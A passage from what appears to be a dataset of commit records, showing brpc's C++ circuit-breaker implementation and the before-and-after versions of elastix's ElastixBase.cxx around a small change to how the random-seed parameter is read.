CircuitBreaker::EmaErrorRecorder::UpdateLatency(int64_t latency) {\n    int64_t ema_latency = _ema_latency.load(butil::memory_order_relaxed);\n    do {\n        int64_t next_ema_latency = 0;\n        if (0 == ema_latency) {\n            next_ema_latency = latency;\n        } else {\n            next_ema_latency = ema_latency * _smooth + latency * (1 - _smooth);\n        }\n        if (_ema_latency.compare_exchange_weak(ema_latency, next_ema_latency)) {\n            return next_ema_latency;\n        }\n    } while(true);\n}\n\nbool CircuitBreaker::EmaErrorRecorder::UpdateErrorCost(int64_t error_cost, \n                                                       int64_t ema_latency) {\n    const int max_mutilple = FLAGS_circuit_breaker_max_failed_latency_mutilple;\n    error_cost = std::min(ema_latency * max_mutilple, error_cost);\n    \/\/Errorous response\n    if (error_cost != 0) {\n        int64_t ema_error_cost = \n            _ema_error_cost.fetch_add(error_cost, butil::memory_order_relaxed);\n        ema_error_cost += error_cost; \n        int64_t max_error_cost = ema_latency * _window_size * \n            (_max_error_percent \/ 100.0) * (1.0 + EPSILON);\n        return ema_error_cost <= max_error_cost;\n    }\n\n    \/\/Ordinary response\n    int64_t ema_error_cost = _ema_error_cost.load(butil::memory_order_relaxed);\n    do {\n        if (ema_error_cost == 0) {\n            break;\n        } else if (ema_error_cost < FLAGS_circuit_breaker_min_error_cost_us) {\n            if (_ema_error_cost.compare_exchange_weak(\n                ema_error_cost, 0, butil::memory_order_relaxed)) {\n                break;\n            }\n        } else {\n            int64_t next_ema_error_cost = ema_error_cost * _smooth;\n            if (_ema_error_cost.compare_exchange_weak(\n                ema_error_cost, next_ema_error_cost)) {\n                break;\n            }\n        }\n    } while (true);\n    return true;\n}\n\nCircuitBreaker::CircuitBreaker()\n    : _long_window(FLAGS_circuit_breaker_long_window_size,\n                   FLAGS_circuit_breaker_long_window_error_percent)\n    , _short_window(FLAGS_circuit_breaker_short_window_size,\n                    FLAGS_circuit_breaker_short_window_error_percent) {\n}\n\nbool CircuitBreaker::OnCallEnd(int error_code, int64_t latency) {\n    return _long_window.OnCallEnd(error_code, latency) && \n           _short_window.OnCallEnd(error_code, latency);\n}\n\nvoid CircuitBreaker::Reset() {\n    _long_window.Reset();\n    _short_window.Reset();\n}\n\n}  \/\/ namespace brpc\n<commit_msg>change default value of glags for circuit_breaker<commit_after>\/\/ Copyright (c) 2014 Baidu, Inc.G\n\/\/ \n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/\n\/\/ Authors: Lei He (helei@qiyi.com)\n\n#include <cmath>\n#include <gflags\/gflags.h>\n#include \"brpc\/circuit_breaker.h\"\n\nnamespace brpc {\n\nDEFINE_int32(circuit_breaker_short_window_size, 400,\n    \"Short window sample size.\");\nDEFINE_int32(circuit_breaker_long_window_size, 1000,\n    \"Long window sample size.\");\nDEFINE_int32(circuit_breaker_short_window_error_percent, 10,\n    \"The maximum error rate allowed by the short window, ranging from 0-99.\");\nDEFINE_int32(circuit_breaker_long_window_error_percent, 30, \n    \"The maximum error rate allowed by the long window, ranging from 0-99.\");\nDEFINE_int32(circuit_breaker_min_error_cost_us, 500,\n    \"The minimum error_cost, when the ema of error cost is less than this \"\n    \"value, it will be set to zero.\");\nDEFINE_int32(circuit_breaker_max_failed_latency_mutilple, 3,\n    \"The maximum multiple of the latency of the failed request relative to \"\n    \"the average latency of the success requests.\");\n\nnamespace {\n\/\/ EPSILON is used to generate the smoothing coefficient when calculating EMA.\n\/\/ The larger the EPSILON, the larger the smoothing coefficient, which means \n\/\/ that the proportion of early data is larger.\n\/\/ smooth = pow(EPSILON, 1 \/ window_size), \n\/\/ eg: when window_size = 100,\n\/\/ EPSILON = 0.1, smooth = 0.9772\n\/\/ EPSILON = 0.3, smooth = 0.9880\n\/\/ when window_size = 1000,\n\/\/ EPSILON = 0.1, smooth = 0.9977\n\/\/ EPSILON = 0.3, smooth = 0.9987\nconst double EPSILON = 0.1;\n}  \/\/ namepace\n\nCircuitBreaker::EmaErrorRecorder::EmaErrorRecorder(int window_size, \n                                                   int max_error_percent)\n    : _window_size(window_size)\n    , _max_error_percent(max_error_percent)\n    , _smooth(std::pow(EPSILON, 1.0\/window_size))\n    , _sample_count(0)\n    , _ema_error_cost(0)\n    , _ema_latency(0) \n    , _broken(false) {\n}\n\nbool CircuitBreaker::EmaErrorRecorder::OnCallEnd(int error_code, \n                                                 int64_t latency) {\n    if (_broken.load(butil::memory_order_relaxed)) {\n        return false;\n    }\n\n    int64_t ema_latency = 0;\n    bool healthy = false;\n    if (error_code == 0) {\n        ema_latency = UpdateLatency(latency);\n        healthy = UpdateErrorCost(0, ema_latency);\n    } else {\n        ema_latency = _ema_latency.load(butil::memory_order_relaxed);\n        healthy = UpdateErrorCost(latency, ema_latency);\n    }\n\n    if (_sample_count.fetch_add(1, butil::memory_order_relaxed) < _window_size) {\n        return true;\n    }\n    \n    if (!healthy) {\n        _broken.store(true, butil::memory_order_relaxed);\n    }\n    return healthy;\n}\n\nvoid CircuitBreaker::EmaErrorRecorder::Reset() {\n    _sample_count.store(0, butil::memory_order_relaxed);\n    _ema_error_cost.store(0, butil::memory_order_relaxed);\n    _ema_latency.store(0, butil::memory_order_relaxed);\n    _broken.store(false, butil::memory_order_relaxed);\n}\n\nint64_t CircuitBreaker::EmaErrorRecorder::UpdateLatency(int64_t latency) {\n    int64_t ema_latency = _ema_latency.load(butil::memory_order_relaxed);\n    do {\n        int64_t next_ema_latency = 0;\n        if (0 == ema_latency) {\n            next_ema_latency = latency;\n        } else {\n            next_ema_latency = ema_latency * _smooth + latency * (1 - _smooth);\n        }\n        if (_ema_latency.compare_exchange_weak(ema_latency, next_ema_latency)) {\n            return next_ema_latency;\n        }\n    } while(true);\n}\n\nbool CircuitBreaker::EmaErrorRecorder::UpdateErrorCost(int64_t error_cost, \n                                                       int64_t ema_latency) {\n    const int max_mutilple = FLAGS_circuit_breaker_max_failed_latency_mutilple;\n    error_cost = std::min(ema_latency * max_mutilple, error_cost);\n    \/\/Errorous response\n    if (error_cost != 0) {\n        int64_t ema_error_cost = \n            _ema_error_cost.fetch_add(error_cost, butil::memory_order_relaxed);\n        ema_error_cost += error_cost; \n        int64_t max_error_cost = ema_latency * _window_size * \n            (_max_error_percent \/ 100.0) * (1.0 + EPSILON);\n        return ema_error_cost <= max_error_cost;\n    }\n\n    \/\/Ordinary response\n    int64_t ema_error_cost = _ema_error_cost.load(butil::memory_order_relaxed);\n    do {\n        if (ema_error_cost == 0) {\n            break;\n        } else if (ema_error_cost < FLAGS_circuit_breaker_min_error_cost_us) {\n            if (_ema_error_cost.compare_exchange_weak(\n                ema_error_cost, 0, butil::memory_order_relaxed)) {\n                break;\n            }\n        } else {\n            int64_t next_ema_error_cost = ema_error_cost * _smooth;\n            if (_ema_error_cost.compare_exchange_weak(\n                ema_error_cost, next_ema_error_cost)) {\n                break;\n            }\n        }\n    } while (true);\n    return true;\n}\n\nCircuitBreaker::CircuitBreaker()\n    : _long_window(FLAGS_circuit_breaker_long_window_size,\n                   FLAGS_circuit_breaker_long_window_error_percent)\n    , _short_window(FLAGS_circuit_breaker_short_window_size,\n                    FLAGS_circuit_breaker_short_window_error_percent) {\n}\n\nbool CircuitBreaker::OnCallEnd(int error_code, int64_t latency) {\n    return _long_window.OnCallEnd(error_code, latency) && \n           _short_window.OnCallEnd(error_code, latency);\n}\n\nvoid CircuitBreaker::Reset() {\n    _long_window.Reset();\n    _short_window.Reset();\n}\n\n}  \/\/ namespace brpc\n<|endoftext|>"}
{"text":"<commit_before>\/*======================================================================\n\n  This file is part of the elastix software.\n\n  Copyright (c) University Medical Center Utrecht. All rights reserved.\n  See src\/CopyrightElastix.txt or http:\/\/elastix.isi.uu.nl\/legal.php for\n  details.\n\n     This software is distributed WITHOUT ANY WARRANTY; without even\n     the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n     PURPOSE. See the above copyright notices for more information.\n\n======================================================================*\/\n#include \"elxElastixBase.h\"\n#include <sstream>\n#include \"itkMersenneTwisterRandomVariateGenerator.h\"\n\nnamespace elastix\n{\n\n\/**\n * ********************* Constructor ****************************\n *\/\n\nElastixBase::ElastixBase()\n{\n  \/** Initialize. *\/\n  this->m_Configuration = 0;\n  this->m_ComponentDatabase = 0;\n  this->m_DBIndex = 0;\n\n  \/** The default output precision of elxout is set to 6. *\/\n  this->m_DefaultOutputPrecision = 6;\n\n  \/** Create the component containers. *\/\n  this->m_FixedImagePyramidContainer = ObjectContainerType::New();\n  this->m_MovingImagePyramidContainer = ObjectContainerType::New();\n  this->m_InterpolatorContainer = ObjectContainerType::New();\n  this->m_ImageSamplerContainer = ObjectContainerType::New();\n  this->m_MetricContainer = ObjectContainerType::New();\n  this->m_OptimizerContainer = ObjectContainerType::New();\n  this->m_RegistrationContainer = ObjectContainerType::New();\n  this->m_ResamplerContainer = ObjectContainerType::New();\n  this->m_ResampleInterpolatorContainer = ObjectContainerType::New();\n  this->m_TransformContainer = ObjectContainerType::New();\n\n  \/** Create image and mask containers. *\/\n  this->m_FixedImageContainer = DataObjectContainerType::New();\n  this->m_MovingImageContainer = DataObjectContainerType::New();\n  this->m_FixedImageFileNameContainer = FileNameContainerType::New();\n  this->m_MovingImageFileNameContainer = FileNameContainerType::New();\n\n  this->m_FixedMaskContainer = DataObjectContainerType::New();\n  this->m_MovingMaskContainer = DataObjectContainerType::New();\n  this->m_FixedMaskFileNameContainer = FileNameContainerType::New();\n  this->m_MovingMaskFileNameContainer = FileNameContainerType::New();\n\n  \/** Initialize initialTransform and final transform. *\/\n  this->m_InitialTransform = 0;\n  this->m_FinalTransform = 0;\n\n  \/** Ignore direction cosines by default, for backward compatability. *\/\n  this->m_UseDirectionCosines = false;\n\n} \/\/ end Constructor\n\n\n\/**\n * ********************* SetDBIndex ***********************\n *\/\n\nvoid ElastixBase::SetDBIndex( DBIndexType _arg )\n{\n  \/** If m_DBIndex is not set, set it. *\/\n  if ( this->m_DBIndex != _arg )\n  {\n    this->m_DBIndex = _arg;\n\n    Object * thisasobject = dynamic_cast<Object *>( this );\n    if ( thisasobject )\n    {\n      thisasobject->Modified();\n    }\n  }\n\n} \/\/ end SetDBIndex()\n\n\n\/**\n * ************************ BeforeAllBase ***************************\n *\/\n\nint ElastixBase::BeforeAllBase( void )\n{\n  \/** Declare the return value and initialize it. *\/\n  int returndummy = 0;\n\n  \/** Set the default precision of floating values in the output. *\/\n  this->m_Configuration->ReadParameter(\n    this->m_DefaultOutputPrecision, \"DefaultOutputPrecision\", 0, false );\n  elxout << std::setprecision( this->m_DefaultOutputPrecision );\n\n  \/** Print to log file. *\/\n  elxout << std::fixed;\n  elxout << std::showpoint;\n  elxout << std::setprecision( 3 );\n  elxout << \"ELASTIX version: \" << __ELASTIX_VERSION << std::endl;\n  elxout << std::setprecision( this->GetDefaultOutputPrecision() );\n\n  \/** Check Command line options and print them to the logfile. *\/\n  elxout << \"Command line options from ElastixBase:\" << std::endl;\n  std::string check = \"\";\n\n  \/** Read the fixed and moving image filenames. These are obliged options,\n   * so print an error if they are not present.\n   * Print also some info (second boolean = true).\n   *\/\n  this->m_FixedImageFileNameContainer = this->GenerateFileNameContainer(\n    \"-f\", returndummy, true, true );\n  this->m_MovingImageFileNameContainer = this->GenerateFileNameContainer(\n    \"-m\", returndummy, true, true );\n\n  \/** Read the fixed and moving mask filenames. These are not obliged options,\n   * so do not print any errors if they are not present.\n   * Do print some info (second boolean = true).\n   *\/\n  int maskreturndummy = 0;\n  this->m_FixedMaskFileNameContainer = this->GenerateFileNameContainer(\n    \"-fMask\", maskreturndummy, false, true );\n  if ( maskreturndummy != 0 )\n  {\n    elxout << \"-fMask    unspecified, so no fixed mask used\" << std::endl;\n  }\n  maskreturndummy = 0;\n  this->m_MovingMaskFileNameContainer = this->GenerateFileNameContainer(\n    \"-mMask\", maskreturndummy, false, true );\n  if ( maskreturndummy != 0 )\n  {\n    elxout << \"-mMask    unspecified, so no moving mask used\" << std::endl;\n  }\n\n  \/** Check for appearance of \"-out\".\n   * This check has already been performed in elastix.cxx,\n   * Here we do it again.\n   *\/\n  check = \"\";\n  check = this->GetConfiguration()->GetCommandLineArgument( \"-out\" );\n  if ( check == \"\" )\n  {\n    xl::xout[\"error\"] << \"ERROR: No CommandLine option \\\"-out\\\" given!\" << std::endl;\n    returndummy |= 1;\n  }\n  else\n  {\n    \/** Make sure that last character of -out equals a '\/'. *\/\n    std::string folder( check );\n    if ( folder.find_last_of( \"\/\" ) != folder.size() - 1 )\n    {\n      folder.append( \"\/\" );\n      this->GetConfiguration()->SetCommandLineArgument( \"-out\", folder.c_str() );\n    }\n    elxout << \"-out      \" << check << std::endl;\n  }\n\n  \/** Print all \"-p\". *\/\n  unsigned int i = 1;\n  bool loop = true;\n  while ( loop )\n  {\n    check = \"\";\n    std::ostringstream tempPname(\"\");\n    tempPname << \"-p(\" << i << \")\";\n    check = this->GetConfiguration()->GetCommandLineArgument( tempPname.str().c_str() );\n    if ( check == \"\" ) loop = false;\n    else elxout << \"-p        \" << check << std::endl;\n    ++i;\n  }\n\n  \/** Check for appearance of \"-priority\", if this is a Windows station. *\/\n  #ifdef _WIN32\n  check = \"\";\n  check = this->GetConfiguration()->GetCommandLineArgument( \"-priority\" );\n  if ( check == \"\" )\n  {\n    elxout << \"-priority unspecified, so NORMAL process priority\" << std::endl;\n  }\n  else\n  {\n    elxout << \"-priority \" << check << std::endl;\n  }\n  #endif\n\n  \/** Check for appearance of -threads, which specifies the maximum number of threads. *\/\n  check = \"\";\n  check = this->GetConfiguration()->GetCommandLineArgument( \"-threads\" );\n  if ( check == \"\" )\n  {\n    elxout << \"-threads  unspecified, so all available threads are used\" << std::endl;\n  }\n  else\n  {\n    elxout << \"-threads  \" << check << std::endl;\n  }\n\n  \/** Check the very important UseDirectionCosines parameter. *\/\n  this->m_UseDirectionCosines = false;\n  bool retudc = this->GetConfiguration()->ReadParameter( this->m_UseDirectionCosines,\n    \"UseDirectionCosines\", 0 );\n  if ( !retudc )\n  {\n    xl::xout[\"warning\"]\n      << \"\\nWARNING: From elastix 4.3 it is highly recommended to add\\n\"\n      << \"the UseDirectionCosines option to your parameter file! See\\n\"\n      << \"http:\/\/elastix.isi.uu.nl\/whatsnew_04_3.php for more information.\\n\"\n      << std::endl;\n  }\n\n  \/** Set the random seed. Use 121212 as a default, which is the same as\n   * the default in the MersenneTwister code. *\/\n  typedef itk::Statistics::MersenneTwisterRandomVariateGenerator RandomGeneratorType;\n  typedef RandomGeneratorType::IntegerType SeedType;\n  unsigned int randomSeed = 121212;\n  this->GetConfiguration()->ReadParameter( randomSeed, \"RandomSeed\", 0 );\n  RandomGeneratorType::Pointer randomGenerator = RandomGeneratorType::New();\n  randomGenerator->SetSeed( static_cast<SeedType>( randomSeed ) );\n\n  \/** Return a value. *\/\n  return returndummy;\n\n} \/\/ end BeforeAllBase()\n\n\n\/**\n * ************************ BeforeAllTransformixBase ***************************\n *\/\n\nint ElastixBase::BeforeAllTransformixBase( void )\n{\n  \/** Declare the return value and initialize it. *\/\n  int returndummy = 0;\n\n  \/** Print to log file. *\/\n  elxout << std::fixed;\n  elxout << std::showpoint;\n  elxout << std::setprecision( 3 );\n  elxout << \"ELASTIX version: \" << __ELASTIX_VERSION << std::endl;\n  elxout << std::setprecision( this->GetDefaultOutputPrecision() );\n\n  \/** Check Command line options and print them to the logfile. *\/\n  elxout << \"Command line options from ElastixBase:\" << std::endl;\n  std::string check = \"\";\n\n  \/** Read the input image filenames. These are not obliged options,\n   * so do not print an error if they are not present.\n   * Print also some info (second boolean = true)\n   * Save the result in the moving image file name container.\n   *\/\n  int inreturndummy = 0;\n  this->m_MovingImageFileNameContainer = this->GenerateFileNameContainer(\n    \"-in\", inreturndummy, false, true );\n  if ( inreturndummy != 0 )\n  {\n    elxout << \"-in       unspecified, so no input image specified\" << std::endl;\n  }\n\n  \/** Check for appearance of \"-out\". *\/\n  check = this->GetConfiguration()->GetCommandLineArgument( \"-out\" );\n  if ( check == \"\" )\n  {\n    xl::xout[\"error\"] << \"ERROR: No CommandLine option \\\"-out\\\" given!\" << std::endl;\n    returndummy |= 1;\n  }\n  else\n  {\n    \/** Make sure that last character of -out equals a '\/'. *\/\n    std::string folder( check );\n    if ( folder.find_last_of( \"\/\" ) != folder.size() - 1 )\n    {\n      folder.append( \"\/\" );\n      this->GetConfiguration()->SetCommandLineArgument( \"-out\", folder.c_str() );\n    }\n    elxout << \"-out      \" << check << std::endl;\n  }\n\n  \/** Check for appearance of -threads, which specifies the maximum number of threads. *\/\n  check = \"\";\n  check = this->GetConfiguration()->GetCommandLineArgument( \"-threads\" );\n  if ( check == \"\" )\n  {\n    elxout << \"-threads  unspecified, so all available threads are used\" << std::endl;\n  }\n  else\n  {\n    elxout << \"-threads  \" << check << std::endl;\n  }\n\n  \/** Print \"-tp\". *\/\n  check = this->GetConfiguration()->GetCommandLineArgument( \"-tp\" );\n  elxout << \"-tp       \" << check << std::endl;\n\n  \/** Check the very important UseDirectionCosines parameter. *\/\n  this->m_UseDirectionCosines = false;\n  bool retudc = this->GetConfiguration()->ReadParameter( this->m_UseDirectionCosines,\n    \"UseDirectionCosines\", 0 );\n  if ( !retudc )\n  {\n    xl::xout[\"warning\"]\n      << \"\\nWARNING: From elastix 4.3 it is highly recommended to add\\n\"\n      << \"the UseDirectionCosines option to your parameter file! See\\n\"\n      << \"http:\/\/elastix.isi.uu.nl\/whatsnew_04_3.php for more information.\\n\"\n      << std::endl;\n  }\n\n  return returndummy;\n\n} \/\/ end BeforeAllTransformixBase()\n\n\n\/**\n * ************************ BeforeRegistrationBase ******************\n *\/\n\nvoid ElastixBase::BeforeRegistrationBase( void )\n{\n  using namespace xl;\n\n  \/** Set up the \"iteration\" writing field. *\/\n  this->m_IterationInfo.SetOutputs( xout.GetCOutputs() );\n  this->m_IterationInfo.SetOutputs( xout.GetXOutputs() );\n\n  xout.AddTargetCell( \"iteration\", &this->m_IterationInfo );\n\n} \/\/ end BeforeRegistrationBase()\n\n\n\/**\n * **************** AfterRegistrationBase ***********************\n *\/\n\nvoid ElastixBase::AfterRegistrationBase( void )\n{\n  \/** Remove the \"iteration\" writing field. *\/\n  xl::xout.RemoveTargetCell( \"iteration\" );\n\n} \/\/ end AfterRegistrationBase()\n\n\n\/**\n * ********************* GenerateFileNameContainer ******************\n *\/\n\nElastixBase::FileNameContainerPointer\nElastixBase::GenerateFileNameContainer(\n  const std::string & optionkey, int & errorcode,\n  bool printerrors, bool printinfo ) const\n{\n  FileNameContainerPointer fileNameContainer = FileNameContainerType::New();\n  std::string check = \"\";\n  std::string argused( \"\" );\n\n  \/** Try optionkey0. *\/\n  std::ostringstream argusedss( \"\" );\n  argusedss << optionkey << 0;\n  argused = argusedss.str();\n  check = this->GetConfiguration()->GetCommandLineArgument( argused.c_str() );\n  if ( check == \"\" )\n  {\n    \/** Try optionkey. *\/\n    std::ostringstream argusedss2( \"\" );\n    argusedss2 << optionkey;\n    argused = argusedss2.str();\n    check = this->GetConfiguration()->GetCommandLineArgument( argused.c_str() );\n    if ( check == \"\" )\n    {\n      \/** Both failed; return an error message, if desired. *\/\n      if ( printerrors )\n      {\n        xl::xout[\"error\"]\n        << \"ERROR: No CommandLine option \\\"\"\n          << optionkey << \"\\\" or \\\"\"\n          << optionkey << 0 << \"\\\" given!\" << std::endl;\n      }\n      errorcode |= 1;\n\n      return fileNameContainer;\n    }\n  }\n\n  \/** Optionkey or optionkey0 is found. *\/\n  if ( check != \"\" )\n  {\n    \/** Print info, if desired. *\/\n    if ( printinfo )\n    {\n      \/** Print the option, with some spaces, followed by the value. *\/\n      int nrSpaces0 = 10 - argused.length();\n      unsigned int nrSpaces = nrSpaces0 > 1 ? nrSpaces0 : 1;\n      std::string spaces = \"\";\n      spaces.resize( nrSpaces, ' ' );\n      elxout << argused << spaces << check << std::endl;\n    }\n    fileNameContainer->CreateElementAt( 0 ) = check;\n\n    \/** Loop over all optionkey<i> options given with i > 0. *\/\n    unsigned int i = 1;\n    bool readsuccess = true;\n    while ( readsuccess )\n    {\n      std::ostringstream argusedss2( \"\" );\n      argusedss2 << optionkey << i;\n      argused = argusedss2.str();\n      check = this->GetConfiguration()->GetCommandLineArgument( argused.c_str() );\n      if ( check == \"\" )\n      {\n        readsuccess = false;\n      }\n      else\n      {\n        if ( printinfo )\n        {\n          \/** Print the option, with some spaces, followed by the value. *\/\n          int nrSpaces0 = 10 - argused.length();\n          unsigned int nrSpaces = nrSpaces0 > 1 ? nrSpaces0 : 1;\n          std::string spaces = \"\";\n          spaces.resize( nrSpaces, ' ' );\n          elxout << argused << spaces << check << std::endl;\n        }\n        fileNameContainer->CreateElementAt(i) = check;\n        ++i;\n      }\n    } \/\/ end while\n  } \/\/ end if\n\n  return fileNameContainer;\n\n} \/\/ end GenerateFileNameContainer()\n\n\n\/**\n * ******************** GetUseDirectionCosines ********************\n *\/\n\nbool ElastixBase::GetUseDirectionCosines( void ) const\n{\n  return this->m_UseDirectionCosines;\n}\n\n\n\/**\n * ******************** SetOriginalFixedImageDirectionFlat ********************\n *\/\n\nvoid ElastixBase::SetOriginalFixedImageDirectionFlat(\n  const FlatDirectionCosinesType & arg )\n{\n  this->m_OriginalFixedImageDirection = arg;\n}\n\n\n\/**\n * ******************** GetOriginalFixedImageDirectionFlat ********************\n *\/\n\nconst ElastixBase::FlatDirectionCosinesType &\nElastixBase::GetOriginalFixedImageDirectionFlat( void ) const\n{\n  return this->m_OriginalFixedImageDirection;\n}\n\n\n} \/\/ end namespace elastix\n\n<commit_msg>SK<commit_after>\/*======================================================================\n\n  This file is part of the elastix software.\n\n  Copyright (c) University Medical Center Utrecht. All rights reserved.\n  See src\/CopyrightElastix.txt or http:\/\/elastix.isi.uu.nl\/legal.php for\n  details.\n\n     This software is distributed WITHOUT ANY WARRANTY; without even\n     the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n     PURPOSE. See the above copyright notices for more information.\n\n======================================================================*\/\n#include \"elxElastixBase.h\"\n#include <sstream>\n#include \"itkMersenneTwisterRandomVariateGenerator.h\"\n\nnamespace elastix\n{\n\n\/**\n * ********************* Constructor ****************************\n *\/\n\nElastixBase::ElastixBase()\n{\n  \/** Initialize. *\/\n  this->m_Configuration = 0;\n  this->m_ComponentDatabase = 0;\n  this->m_DBIndex = 0;\n\n  \/** The default output precision of elxout is set to 6. *\/\n  this->m_DefaultOutputPrecision = 6;\n\n  \/** Create the component containers. *\/\n  this->m_FixedImagePyramidContainer = ObjectContainerType::New();\n  this->m_MovingImagePyramidContainer = ObjectContainerType::New();\n  this->m_InterpolatorContainer = ObjectContainerType::New();\n  this->m_ImageSamplerContainer = ObjectContainerType::New();\n  this->m_MetricContainer = ObjectContainerType::New();\n  this->m_OptimizerContainer = ObjectContainerType::New();\n  this->m_RegistrationContainer = ObjectContainerType::New();\n  this->m_ResamplerContainer = ObjectContainerType::New();\n  this->m_ResampleInterpolatorContainer = ObjectContainerType::New();\n  this->m_TransformContainer = ObjectContainerType::New();\n\n  \/** Create image and mask containers. *\/\n  this->m_FixedImageContainer = DataObjectContainerType::New();\n  this->m_MovingImageContainer = DataObjectContainerType::New();\n  this->m_FixedImageFileNameContainer = FileNameContainerType::New();\n  this->m_MovingImageFileNameContainer = FileNameContainerType::New();\n\n  this->m_FixedMaskContainer = DataObjectContainerType::New();\n  this->m_MovingMaskContainer = DataObjectContainerType::New();\n  this->m_FixedMaskFileNameContainer = FileNameContainerType::New();\n  this->m_MovingMaskFileNameContainer = FileNameContainerType::New();\n\n  \/** Initialize initialTransform and final transform. *\/\n  this->m_InitialTransform = 0;\n  this->m_FinalTransform = 0;\n\n  \/** Ignore direction cosines by default, for backward compatability. *\/\n  this->m_UseDirectionCosines = false;\n\n} \/\/ end Constructor\n\n\n\/**\n * ********************* SetDBIndex ***********************\n *\/\n\nvoid ElastixBase::SetDBIndex( DBIndexType _arg )\n{\n  \/** If m_DBIndex is not set, set it. *\/\n  if ( this->m_DBIndex != _arg )\n  {\n    this->m_DBIndex = _arg;\n\n    Object * thisasobject = dynamic_cast<Object *>( this );\n    if ( thisasobject )\n    {\n      thisasobject->Modified();\n    }\n  }\n\n} \/\/ end SetDBIndex()\n\n\n\/**\n * ************************ BeforeAllBase ***************************\n *\/\n\nint ElastixBase::BeforeAllBase( void )\n{\n  \/** Declare the return value and initialize it. *\/\n  int returndummy = 0;\n\n  \/** Set the default precision of floating values in the output. *\/\n  this->m_Configuration->ReadParameter(\n    this->m_DefaultOutputPrecision, \"DefaultOutputPrecision\", 0, false );\n  elxout << std::setprecision( this->m_DefaultOutputPrecision );\n\n  \/** Print to log file. *\/\n  elxout << std::fixed;\n  elxout << std::showpoint;\n  elxout << std::setprecision( 3 );\n  elxout << \"ELASTIX version: \" << __ELASTIX_VERSION << std::endl;\n  elxout << std::setprecision( this->GetDefaultOutputPrecision() );\n\n  \/** Check Command line options and print them to the logfile. *\/\n  elxout << \"Command line options from ElastixBase:\" << std::endl;\n  std::string check = \"\";\n\n  \/** Read the fixed and moving image filenames. These are obliged options,\n   * so print an error if they are not present.\n   * Print also some info (second boolean = true).\n   *\/\n  this->m_FixedImageFileNameContainer = this->GenerateFileNameContainer(\n    \"-f\", returndummy, true, true );\n  this->m_MovingImageFileNameContainer = this->GenerateFileNameContainer(\n    \"-m\", returndummy, true, true );\n\n  \/** Read the fixed and moving mask filenames. These are not obliged options,\n   * so do not print any errors if they are not present.\n   * Do print some info (second boolean = true).\n   *\/\n  int maskreturndummy = 0;\n  this->m_FixedMaskFileNameContainer = this->GenerateFileNameContainer(\n    \"-fMask\", maskreturndummy, false, true );\n  if ( maskreturndummy != 0 )\n  {\n    elxout << \"-fMask    unspecified, so no fixed mask used\" << std::endl;\n  }\n  maskreturndummy = 0;\n  this->m_MovingMaskFileNameContainer = this->GenerateFileNameContainer(\n    \"-mMask\", maskreturndummy, false, true );\n  if ( maskreturndummy != 0 )\n  {\n    elxout << \"-mMask    unspecified, so no moving mask used\" << std::endl;\n  }\n\n  \/** Check for appearance of \"-out\".\n   * This check has already been performed in elastix.cxx,\n   * Here we do it again.\n   *\/\n  check = \"\";\n  check = this->GetConfiguration()->GetCommandLineArgument( \"-out\" );\n  if ( check == \"\" )\n  {\n    xl::xout[\"error\"] << \"ERROR: No CommandLine option \\\"-out\\\" given!\" << std::endl;\n    returndummy |= 1;\n  }\n  else\n  {\n    \/** Make sure that last character of -out equals a '\/'. *\/\n    std::string folder( check );\n    if ( folder.find_last_of( \"\/\" ) != folder.size() - 1 )\n    {\n      folder.append( \"\/\" );\n      this->GetConfiguration()->SetCommandLineArgument( \"-out\", folder.c_str() );\n    }\n    elxout << \"-out      \" << check << std::endl;\n  }\n\n  \/** Print all \"-p\". *\/\n  unsigned int i = 1;\n  bool loop = true;\n  while ( loop )\n  {\n    check = \"\";\n    std::ostringstream tempPname(\"\");\n    tempPname << \"-p(\" << i << \")\";\n    check = this->GetConfiguration()->GetCommandLineArgument( tempPname.str().c_str() );\n    if ( check == \"\" ) loop = false;\n    else elxout << \"-p        \" << check << std::endl;\n    ++i;\n  }\n\n  \/** Check for appearance of \"-priority\", if this is a Windows station. *\/\n  #ifdef _WIN32\n  check = \"\";\n  check = this->GetConfiguration()->GetCommandLineArgument( \"-priority\" );\n  if ( check == \"\" )\n  {\n    elxout << \"-priority unspecified, so NORMAL process priority\" << std::endl;\n  }\n  else\n  {\n    elxout << \"-priority \" << check << std::endl;\n  }\n  #endif\n\n  \/** Check for appearance of -threads, which specifies the maximum number of threads. *\/\n  check = \"\";\n  check = this->GetConfiguration()->GetCommandLineArgument( \"-threads\" );\n  if ( check == \"\" )\n  {\n    elxout << \"-threads  unspecified, so all available threads are used\" << std::endl;\n  }\n  else\n  {\n    elxout << \"-threads  \" << check << std::endl;\n  }\n\n  \/** Check the very important UseDirectionCosines parameter. *\/\n  this->m_UseDirectionCosines = false;\n  bool retudc = this->GetConfiguration()->ReadParameter( this->m_UseDirectionCosines,\n    \"UseDirectionCosines\", 0 );\n  if ( !retudc )\n  {\n    xl::xout[\"warning\"]\n      << \"\\nWARNING: From elastix 4.3 it is highly recommended to add\\n\"\n      << \"the UseDirectionCosines option to your parameter file! See\\n\"\n      << \"http:\/\/elastix.isi.uu.nl\/whatsnew_04_3.php for more information.\\n\"\n      << std::endl;\n  }\n\n  \/** Set the random seed. Use 121212 as a default, which is the same as\n   * the default in the MersenneTwister code. \n   * Use silent parameter file readout, to avoid annoying warning when\n   * starting elastix *\/\n  typedef itk::Statistics::MersenneTwisterRandomVariateGenerator RandomGeneratorType;\n  typedef RandomGeneratorType::IntegerType SeedType;\n  unsigned int randomSeed = 121212;\n  this->GetConfiguration()->ReadParameter( randomSeed, \"RandomSeed\", 0, false );\n  RandomGeneratorType::Pointer randomGenerator = RandomGeneratorType::New();\n  randomGenerator->SetSeed( static_cast<SeedType>( randomSeed ) );\n\n  \/** Return a value. *\/\n  return returndummy;\n\n} \/\/ end BeforeAllBase()\n\n\n\/**\n * ************************ BeforeAllTransformixBase ***************************\n *\/\n\nint ElastixBase::BeforeAllTransformixBase( void )\n{\n  \/** Declare the return value and initialize it. *\/\n  int returndummy = 0;\n\n  \/** Print to log file. *\/\n  elxout << std::fixed;\n  elxout << std::showpoint;\n  elxout << 